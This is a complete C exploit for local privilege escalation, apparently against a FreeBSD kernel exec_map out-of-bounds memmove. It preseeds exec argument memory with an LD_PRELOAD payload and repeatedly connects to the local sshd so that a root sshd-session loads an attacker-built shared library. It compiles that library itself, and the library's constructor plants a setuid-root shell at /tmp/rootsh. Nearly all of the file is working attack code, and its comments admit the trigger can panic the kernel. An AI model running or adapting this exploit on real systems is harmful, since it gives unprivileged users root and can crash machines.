/*
 * EXEC-1 LPE v21 — LD_PRELOAD injection via exec_map OOB
 *
 * Bug: kern_exec.c:1624 — memmove OOB in exec_args_adjust_args
 *   memmove(begin_argv + extend, begin_argv + consume,
 *           endp - begin_argv + consume);
 *   Should be: endp - begin_argv - consume (operator precedence bug)
 *
 * Attack: corrupt sshd-session's exec_map env strings to inject
 * LD_PRELOAD=/tmp/evil.so. sshd-session is exec'd by root sshd
 * with issetugid()=0 (no suid transition), so LD_PRELOAD works
 * and our constructor runs as uid=0/euid=0.
 *
 * The OOB memmove copies 2024 bytes from offset D=265166 of
 * the KVA-adjacent exec_map entry to offset 0 of that same entry.
 * We preseed entries with our payload at offset D. When sshd-session
 * reuses a preseeded entry, offset D retains our stale payload
 * (normal execs only write ~155 bytes, never reaching offset D).
 *
 * Architecture (all unprivileged, no helpers):
 *   1. Preseed all exec_map entries with LD_PRELOAD payload at D
 *   2. SSH poker → sshd fork+exec sshd-session (root, grabs entry)
 *   3. Trigger pinned to CPU 0 → memmove OOB → corrupt entry K+1
 *   4. If K+1 = sshd-session in exec window → LD_PRELOAD injected
 *   5. evil.so constructor → suid root shell at /tmp/rootsh
 *
 * Panic: entry[31] OOB reads past exec_map boundary → page fault.
 * DPCPU pinning on CPU 0 means same entry K every trigger.
 * P(K=31) = 1/32 = 3.1% on first trigger only. If survived, safe.
 */

#include <sys/types.h>
#include <sys/cpuset.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/sysctl.h>
#include <sys/stat.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <time.h>

#define ENTRY_SIZE    528384
#define SCRIPT        "/tmp/e21.sh"
#define SSHD_SESSION  "/usr/libexec/sshd-session"
#define EVIL_SO       "/tmp/evil.so"
#define EVIL_SRC      "/tmp/evil.c"
#define GOT_ROOT      "/tmp/GOT_ROOT"

#define ARGV0_LEN     265185
#define NUM_DUMMY_ENV 30
#define SSH_PORT      22

static volatile int g_running = 1;
static int g_ncpus, g_nentries;
static int g_extend, g_D, g_oob;
static char *g_trigger_argv0;
static char *g_preseed_pad;

static void
handle_sig(int s)
{
	g_running = 0;
}

static void *
wired_alloc(size_t size)
{
	void *p = mmap(NULL, size, PROT_READ | PROT_WRITE,
	    MAP_ANON | MAP_PRIVATE, -1, 0);
	if (p == MAP_FAILED) {
		perror("mmap");
		exit(1);
	}
	memset(p, 0, size);
	if (mlock(p, size) != 0)
		perror("mlock (non-fatal)");
	return p;
}

static void
create_script(void)
{
	int fd = open(SCRIPT, O_WRONLY | O_CREAT | O_TRUNC, 0755);
	if (fd < 0) {
		perror("create script");
		exit(1);
	}
	write(fd, "#!/bin/sh\nexit 0\n", 17);
	close(fd);
}

static void
create_evil_so(void)
{
	int fd = open(EVIL_SRC, O_WRONLY | O_CREAT | O_TRUNC, 0644);
	if (fd < 0) {
		perror("evil.c");
		exit(1);
	}

	const char *src =
	    "#include <unistd.h>\n"
	    "#include <fcntl.h>\n"
	    "#include <stdio.h>\n"
	    "#include <sys/stat.h>\n"
	    "\n"
	    "__attribute__((constructor))\n"
	    "static void pwn(void) {\n"
	    "    if (getuid() != 0 && geteuid() != 0) return;\n"
	    "    if (access(\"/tmp/GOT_ROOT\", F_OK) == 0) return;\n"
	    "    char buf[8192];\n"
	    "    ssize_t n;\n"
	    "    int s = open(\"/bin/sh\", O_RDONLY);\n"
	    "    int d = open(\"/tmp/rootsh\", O_WRONLY|O_CREAT|O_TRUNC, 0755);\n"
	    "    if (s >= 0 && d >= 0)\n"
	    "        while ((n = read(s, buf, sizeof(buf))) > 0)\n"
	    "            write(d, buf, n);\n"
	    "    if (s >= 0) close(s);\n"
	    "    if (d >= 0) close(d);\n"
	    "    chown(\"/tmp/rootsh\", 0, 0);\n"
	    "    chmod(\"/tmp/rootsh\", 04755);\n"
	    "    d = open(\"/tmp/GOT_ROOT\", O_WRONLY|O_CREAT|O_TRUNC, 0644);\n"
	    "    if (d >= 0) {\n"
	    "        dprintf(d, \"uid=%d euid=%d pid=%d\\n\",\n"
	    "            getuid(), geteuid(), getpid());\n"
	    "        close(d);\n"
	    "    }\n"
	    "}\n";

	write(fd, src, strlen(src));
	close(fd);

	unlink(EVIL_SO);

	char cmd[256];
	snprintf(cmd, sizeof(cmd),
	    "cc -shared -fPIC -o %s %s 2>&1", EVIL_SO, EVIL_SRC);
	if (system(cmd) != 0) {
		fprintf(stderr, "Failed to compile %s\n", EVIL_SO);
		exit(1);
	}
	chmod(EVIL_SO, 0755);
}

static void
build_preseed(void)
{
	if (g_D < 30) {
		fprintf(stderr, "D=%d too small for preseed\n", g_D);
		exit(1);
	}
}

/*
 * Preseed env uses MANY medium-sized padding strings instead of one
 * huge string. This forces ~2600 copyin iterations (~5ms per exec),
 * guaranteeing kernel preemption and enabling concurrent execs on
 * the same CPU. Without this, DPCPU absorbs all entries and only
 * 4 out of 32 entries get preseeded.
 */
#define PAD_STR_LEN   100
#define PAD_CHAR_LEN  (PAD_STR_LEN - 1)

static char g_pad_str[PAD_STR_LEN];
static char g_pad_str_last[PAD_STR_LEN];
static char g_dummy_envs[NUM_DUMMY_ENV][8];
static int g_num_pad_strings;
static int g_last_pad_len;
static char **g_preseed_envp;

static void
build_preseed_envp(void)
{
	int pad_total = g_D - 19;

	g_num_pad_strings = pad_total / PAD_STR_LEN;
	g_last_pad_len = pad_total - g_num_pad_strings * PAD_STR_LEN;

	int total_envp = g_num_pad_strings + (g_last_pad_len > 0 ? 1 : 0)
	    + 5 + NUM_DUMMY_ENV + 1;

	g_preseed_envp = wired_alloc(total_envp * sizeof(char *));

	g_pad_str[0] = 'P';
	g_pad_str[1] = '=';
	memset(g_pad_str + 2, 'A', PAD_CHAR_LEN - 2);
	g_pad_str[PAD_CHAR_LEN] = '\0';

	if (g_last_pad_len > 0) {
		g_pad_str_last[0] = 'Q';
		g_pad_str_last[1] = '=';
		memset(g_pad_str_last + 2, 'A', g_last_pad_len - 3);
		g_pad_str_last[g_last_pad_len - 1] = '\0';
	}

	int idx = 0;

	for (int i = 0; i < g_num_pad_strings; i++)
		g_preseed_envp[idx++] = g_pad_str;
	if (g_last_pad_len > 0)
		g_preseed_envp[idx++] = g_pad_str_last;

	g_preseed_envp[idx++] = SSHD_SESSION;
	g_preseed_envp[idx++] = SSHD_SESSION;
	g_preseed_envp[idx++] = "-R";
	g_preseed_envp[idx++] = "LD_PRELOAD=" EVIL_SO;

	for (int i = 0; i < NUM_DUMMY_ENV; i++) {
		snprintf(g_dummy_envs[i], sizeof(g_dummy_envs[i]),
		    "X=%02d", i + 1);
		g_preseed_envp[idx++] = g_dummy_envs[i];
	}
	g_preseed_envp[idx] = NULL;

	int payload_bytes = 0;
	for (int i = g_num_pad_strings + (g_last_pad_len > 0 ? 1 : 0);
	    g_preseed_envp[i] != NULL; i++)
		payload_bytes += strlen(g_preseed_envp[i]) + 1;

	printf("[*] Preseed: %d env entries (%d pad + %d payload)\n",
	    idx, g_num_pad_strings + (g_last_pad_len > 0 ? 1 : 0),
	    5 + NUM_DUMMY_ENV);
	printf("[*] Copyin iterations: ~%d (est ~%dms per exec)\n",
	    idx, idx * 3 / 1000);
	printf("[*] Payload: %d bytes at D=%d (OOB=%d, margin=%d)\n",
	    payload_bytes, g_D, g_oob, g_oob - payload_bytes);
}

/*
 * Preseed all entries using pipe-synchronized concurrent execs.
 *
 * Problem: DPCPU cache (1 entry per CPU) means sequential execs
 * on the same CPU always reuse the same entry. The other 28 entries
 * on the freelist never get preseeded.
 *
 * Solution: fork N+ncpus children, all blocked on a pipe. Release
 * them simultaneously. On each CPU, the first child gets DPCPU,
 * the rest contend for the freelist. All 32 entries get used.
 */
static void
preseed_all(void)
{
	int sync_pipe[2];
	if (pipe(sync_pipe) != 0) {
		perror("preseed pipe");
		return;
	}

	int batch = g_nentries + g_ncpus;
	pid_t pids[64];
	int n = 0;

	for (int i = 0; i < batch; i++) {
		pid_t p = fork();
		if (p == 0) {
			close(sync_pipe[1]);
			char b;
			read(sync_pipe[0], &b, 1);
			close(sync_pipe[0]);
			cpuset_t mask;
			CPU_ZERO(&mask);
			CPU_SET(i % g_ncpus, &mask);
			cpuset_setaffinity(CPU_LEVEL_WHICH,
			    CPU_WHICH_PID, -1, sizeof(mask), &mask);
			char *argv[] = { "true", NULL };
			execve("/usr/bin/true", argv, g_preseed_envp);
			_exit(99);
		}
		if (p > 0)
			pids[n++] = p;
	}

	usleep(50000);
	close(sync_pipe[1]);
	close(sync_pipe[0]);

	int st;
	for (int i = 0; i < n; i++)
		waitpid(pids[i], &st, 0);
}

/*
 * Continuous preseeder: periodically re-preseed entries on CPUs 1-3.
 * Uses concurrent execs to also hit freelist entries.
 * Avoids CPU 0 to keep the trigger's DPCPU entry stable.
 */
static void
preseeder_loop(void)
{
	while (g_running) {
		int sync_pipe[2];
		if (pipe(sync_pipe) != 0) {
			usleep(1000000);
			continue;
		}

		int per_cpu = g_nentries / g_ncpus + 1;
		pid_t pids[64];
		int n = 0;

		for (int cpu = 1; cpu < g_ncpus; cpu++) {
			for (int j = 0; j < per_cpu && n < 60; j++) {
				pid_t p = fork();
				if (p == 0) {
					close(sync_pipe[1]);
					char b;
					read(sync_pipe[0], &b, 1);
					close(sync_pipe[0]);
					cpuset_t mask;
					CPU_ZERO(&mask);
					CPU_SET(cpu, &mask);
					cpuset_setaffinity(CPU_LEVEL_WHICH,
					    CPU_WHICH_PID, -1,
					    sizeof(mask), &mask);
					char *argv[] = { "true", NULL };
					execve("/usr/bin/true", argv,
					    g_preseed_envp);
					_exit(99);
				}
				if (p > 0)
					pids[n++] = p;
			}
		}

		usleep(20000);
		close(sync_pipe[1]);
		close(sync_pipe[0]);

		int st;
		for (int i = 0; i < n; i++)
			waitpid(pids[i], &st, 0);

		usleep(500000);
	}
}

static void
ssh_poker_loop(void)
{
	struct sockaddr_in sa;
	memset(&sa, 0, sizeof(sa));
	sa.sin_family = AF_INET;
	sa.sin_port = htons(SSH_PORT);
	sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);

	while (g_running) {
		int fd = socket(AF_INET, SOCK_STREAM, 0);
		if (fd < 0) {
			usleep(10000);
			continue;
		}

		if (connect(fd, (struct sockaddr *)&sa, sizeof(sa)) == 0) {
			usleep(200);
		}
		close(fd);
		usleep(200);
	}
}

static void
mem_churn_loop(int mb)
{
	size_t sz = (size_t)mb * 1024 * 1024;
	char *region = mmap(NULL, sz, PROT_READ | PROT_WRITE,
	    MAP_ANON | MAP_PRIVATE, -1, 0);
	if (region == MAP_FAILED) {
		perror("mem_churn mmap");
		_exit(1);
	}

	while (g_running) {
		for (size_t i = 0; i < sz && g_running; i += 4096)
			region[i] = (char)(i >> 12);
		usleep(1000);
	}
	munmap(region, sz);
}

static int
check_root(void)
{
	if (access(GOT_ROOT, F_OK) == 0) {
		printf("\n[!!!] ROOT OBTAINED!\n");
		FILE *f = fopen(GOT_ROOT, "r");
		if (f) {
			char buf[256];
			while (fgets(buf, sizeof(buf), f))
				printf("  %s", buf);
			fclose(f);
		}
		printf("[!!!] Root shell: /tmp/rootsh -p\n");
		fflush(stdout);
		return 1;
	}
	return 0;
}

int
main(int argc, char **argv)
{
	int rounds = 10000;
	int mem_mb = 0;

	if (argc > 1)
		rounds = atoi(argv[1]);
	if (argc > 2)
		mem_mb = atoi(argv[2]);

	if (check_root())
		return 0;

	/* Calculate OOB parameters */
	int script_fname_len = strlen(SCRIPT) + 1;
	int interp_len = strlen("/bin/sh") + 1;
	g_extend = interp_len + script_fname_len;
	int consume = ARGV0_LEN + 1;
	g_D = consume - g_extend;

	/*
	 * OOB = dst_end + 1 - ENTRY_SIZE
	 * dst starts at buf + script_fname_len + extend
	 * dst length = endp - begin_argv + consume
	 *            = (consume + env_len) + consume
	 *            = 2*consume + env_len
	 * where env_len = strlen("T=1") + 1 = 4
	 *
	 * dst_end + 1 = script_fname_len + extend + 2*consume + 4
	 */
	g_oob = script_fname_len + g_extend + 2 * consume + 4 - ENTRY_SIZE;

	size_t len = sizeof(g_ncpus);
	sysctlbyname("hw.ncpu", &g_ncpus, &len, NULL, 0);
	g_nentries = 8 * g_ncpus;

	printf("=== EXEC-1 LPE v21: LD_PRELOAD injection ===\n");
	printf("N=%d entries, OOB=%d bytes, D=%d\n",
	    g_nentries, g_oob, g_D);
	printf("Target: %s via LD_PRELOAD=%s\n", SSHD_SESSION, EVIL_SO);
	printf("Rounds: %d, mem_churn: %dMB\n", rounds, mem_mb);
	printf("P(panic first trigger) = 1/%d = %.1f%%\n",
	    g_nentries, 100.0 / g_nentries);
	fflush(stdout);

	if (g_oob <= 0) {
		fprintf(stderr, "[!] OOB=%d too small\n", g_oob);
		return 1;
	}
	if (g_oob < 100) {
		fprintf(stderr, "[!] OOB=%d dangerously small\n", g_oob);
	}

	signal(SIGTERM, handle_sig);
	signal(SIGINT, handle_sig);

	/* Create trigger script and evil.so */
	create_script();
	create_evil_so();

	/* Allocate and wire trigger argv[0] */
	g_trigger_argv0 = wired_alloc(ARGV0_LEN + 1);
	memset(g_trigger_argv0, 'A', ARGV0_LEN);
	g_trigger_argv0[ARGV0_LEN] = '\0';

	/* Build preseed env layout */
	build_preseed();
	build_preseed_envp();

	/* Initial preseed — fill all entries twice */
	printf("[*] Preseeding all %d entries...\n", g_nentries);
	fflush(stdout);
	preseed_all();
	preseed_all();
	printf("[*] Preseed complete\n");

	/* Fork background workers */
	pid_t poker_pid = fork();
	if (poker_pid == 0) {
		signal(SIGTERM, handle_sig);
		signal(SIGINT, handle_sig);
		ssh_poker_loop();
		_exit(0);
	}

	pid_t preseeder_pid = fork();
	if (preseeder_pid == 0) {
		signal(SIGTERM, handle_sig);
		signal(SIGINT, handle_sig);
		preseeder_loop();
		_exit(0);
	}

	pid_t churn_pid = fork();
	if (churn_pid == 0) {
		signal(SIGTERM, handle_sig);
		signal(SIGINT, handle_sig);
		mem_churn_loop(mem_mb);
		_exit(0);
	}

	printf("[*] Workers: poker=%d preseeder=%d churn=%d\n",
	    (int)poker_pid, (int)preseeder_pid, (int)churn_pid);
	fflush(stdout);

	/* Pin trigger to CPU 0 */
	cpuset_t mask;
	CPU_ZERO(&mask);
	CPU_SET(0, &mask);
	cpuset_setaffinity(CPU_LEVEL_WHICH, CPU_WHICH_PID,
	    -1, sizeof(mask), &mask);

	printf("[*] Trigger pinned to CPU 0. Starting in 2s...\n");
	fflush(stdout);
	sleep(2);

	time_t start = time(NULL);

	for (int r = 0; r < rounds && g_running; r++) {
		pid_t tpid = fork();
		if (tpid == 0) {
			char *t_argv[] = { g_trigger_argv0, NULL };
			char *t_envp[] = { "T=1", NULL };
			execve(SCRIPT, t_argv, t_envp);
			_exit(1);
		}
		if (tpid > 0) {
			int st;
			waitpid(tpid, &st, 0);
		}

		if (r % 5 == 0) {
			if (check_root()) {
				printf("\n=== ROOT at round %d (%lds) ===\n",
				    r, (long)(time(NULL) - start));
				fflush(stdout);
				break;
			}
		}

		if (r % 200 == 0) {
			printf("[*] r=%d/%d (%lds)\n",
			    r, rounds, (long)(time(NULL) - start));
			fflush(stdout);
		}

		usleep(500);
	}

	/* Cleanup */
	g_running = 0;
	if (poker_pid > 0)
		kill(poker_pid, SIGTERM);
	if (preseeder_pid > 0)
		kill(preseeder_pid, SIGTERM);
	if (churn_pid > 0)
		kill(churn_pid, SIGTERM);

	int st;
	if (poker_pid > 0)
		waitpid(poker_pid, &st, 0);
	if (preseeder_pid > 0)
		waitpid(preseeder_pid, &st, 0);
	if (churn_pid > 0)
		waitpid(churn_pid, &st, 0);

	if (!check_root()) {
		printf("\n[*] %d rounds (%lds), no root\n",
		    rounds, (long)(time(NULL) - start));
	}

	fflush(stdout);
	return check_root() ? 0 : 1;
}